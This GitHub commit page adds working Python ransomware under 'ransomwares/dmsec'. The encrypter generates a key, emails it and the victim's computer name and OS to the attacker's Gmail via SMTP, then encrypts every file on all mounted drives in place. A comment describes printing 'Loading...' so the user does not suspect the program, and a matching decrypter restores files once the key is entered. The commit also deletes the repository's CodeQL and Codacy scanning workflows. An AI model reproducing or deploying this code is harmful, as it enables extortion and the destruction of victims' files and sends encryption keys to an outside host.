Skip to content

Commit

Permalink
Merge pull request #6 from dmdhrumilmistry/create-ransomware
Browse files Browse the repository at this point in the history
Create ransomware
  • Loading branch information
dmdhrumilmistry authored Aug 26, 2021
2 parents a2b7bf3 + 534ce19 commit 49a0c61
Show file tree
Hide file tree
Showing 5 changed files with 190 additions and 117 deletions.
49 changes: 0 additions & 49 deletions .github/workflows/codacy-analysis.yml

This file was deleted.

67 changes: 0 additions & 67 deletions .github/workflows/codeql-analysis.yml

This file was deleted.

92 changes: 92 additions & 0 deletions ransomwares/dmsec/decrypter.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
from cryptography.fernet import Fernet
from sys import exit
from os import walk
from os.path import join
from psutil import disk_partitions

class DMSECDecrypter:
def __init__(self, key:str=None, paths:list=None) -> None:
# check key
if key == None:
print('[!] Invalid KEY')
exit()

# convert key to bytes
if type(key)==str:
key = bytes(key, encoding='utf-8')
self.KEY = key
print('[!] Decrypting data using KEY :', self.KEY)

# generate fernet obj for file encryption
self.fernet = Fernet(self.KEY)

# decrypt all partitions if paths are not passed
if paths == None:
self.PATHS = self.__get_partitions_path()
else:
self.PATHS = paths
print('[!] PATHS to be decrypted :\n', self.PATHS)



def __get_partitions_path(self) -> list:
'''
returns all mounted partition's mount points as a list
'''
mount_points = []
for partition in disk_partitions():
mount_points.append(partition.mountpoint)
return mount_points


def decrypt_file(self, file_path:str):
'''
decrypts single file
'''
try:
# read file data
with open(file_path, 'rb') as f:
file_data = f.read()

# decrypt file data
dec_data = self.fernet.decrypt(file_data)

# write file data
with open(file_path, 'wb') as f:
f.write(dec_data)
print(f'[*] File {file_path} decrypted.')
return True

except Exception:
print(f'[!] Failed to decrypt {file_path}')
return False


def decrypt_files(self, path:str):
'''
decrypts all the files in the specified path
'''
for root, dirs, files in walk(path):
for file in files:
file_path = join(root, file)
self.decrypt_file(file_path=file_path)


def start(self):
for path in self.PATHS:
self.decrypt_files(path)


if __name__ == '__main__':
print('[*] Decrypting....')

# specify paths to be decrypted
PATHS = [r'paths_to_be_decrypted',]

KEY = input('[+] Enter KEY : ')

# don't pass PATHS if all the drives are to be decrypted.
encrypter = DMSECDecrypter(KEY, PATHS)
encrypter.start()

print('[*] Decrypted...')
96 changes: 96 additions & 0 deletions ransomwares/dmsec/dmsec_ransomeware.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
import smtplib
from cryptography.fernet import Fernet
from os import walk, environ
from os.path import join
from psutil import disk_partitions


class DMSECEncrypter:
def __init__(self, paths:list=None, gmail:str=None, passwd:str=None) -> None:
# generate new key
self.KEY = Fernet.generate_key()

# report KEY to the attacker using email
if gmail!=None and passwd!=None and self.send_mail(mail=gmail, password=passwd):
pass
else:
# print error message and exit if key is not sent
print('[!] Try Again, Unable to connect')
exit()

# generate fernet obj for file encryption
self.fernet = Fernet(self.KEY)

if paths == None:
self.PATHS = self.__get_partitions_path()
else:
self.PATHS = paths


def send_mail(self, mail, password)->bool:
'''
sends mail to specific address/addresses.
'''
try:
message = f'Subject: RNSMWARE ATTK has been initialized on {environ["COMPUTERNAME"]}\n**KEY** {str(self.KEY, encoding="utf-8")}\n**OS** {environ["OS"]}\n\n'
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(mail, password)
server.sendmail(mail, mail, message)
server.quit()
return True
except Exception as e:
return False


def __get_partitions_path(self) -> list:
'''
returns all mounted partition's mount points as a list
'''
mount_points = []
for partition in disk_partitions():
mount_points.append(partition.mountpoint)
return mount_points


def encrypt_file(self, file_path):
try:
# read file data
with open(file_path, 'rb') as f:
file_data = f.read()

# encrypt file data
enc_data = self.fernet.encrypt(file_data)

# write file data
with open(file_path, 'wb') as f:
file_data = f.write(enc_data)
return True

except Exception:
return False


def encrypt_files(self, path:str):
for root, dirs, files in walk(path):
for file in files:
file_path = join(root, file)
self.encrypt_file(file_path=file_path)


def start(self):
for path in self.PATHS:
self.encrypt_files(path)


if __name__ == '__main__':
# Print some meaningful text, so that user don't suspect program as ransomeware
print('[*] Loading...')

# Specify paths to be encrypted
PATHS = [r'path_to_be_encrypted',]

# don't pass PATHS if all the drives are to be encrypted
encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword')
encrypter.start()
print('[*] Completed')
3 changes: 2 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -7,4 +7,5 @@ colorama>=0.4.4
beautifulsoup4==4.9.3
pyfiglet==0.8.post1
prettytable==2.1.0
scapy-python3==0.26
kamene==0.32
psutil=5.8.0

0 comments on commit 49a0c61

Please sign in to comment.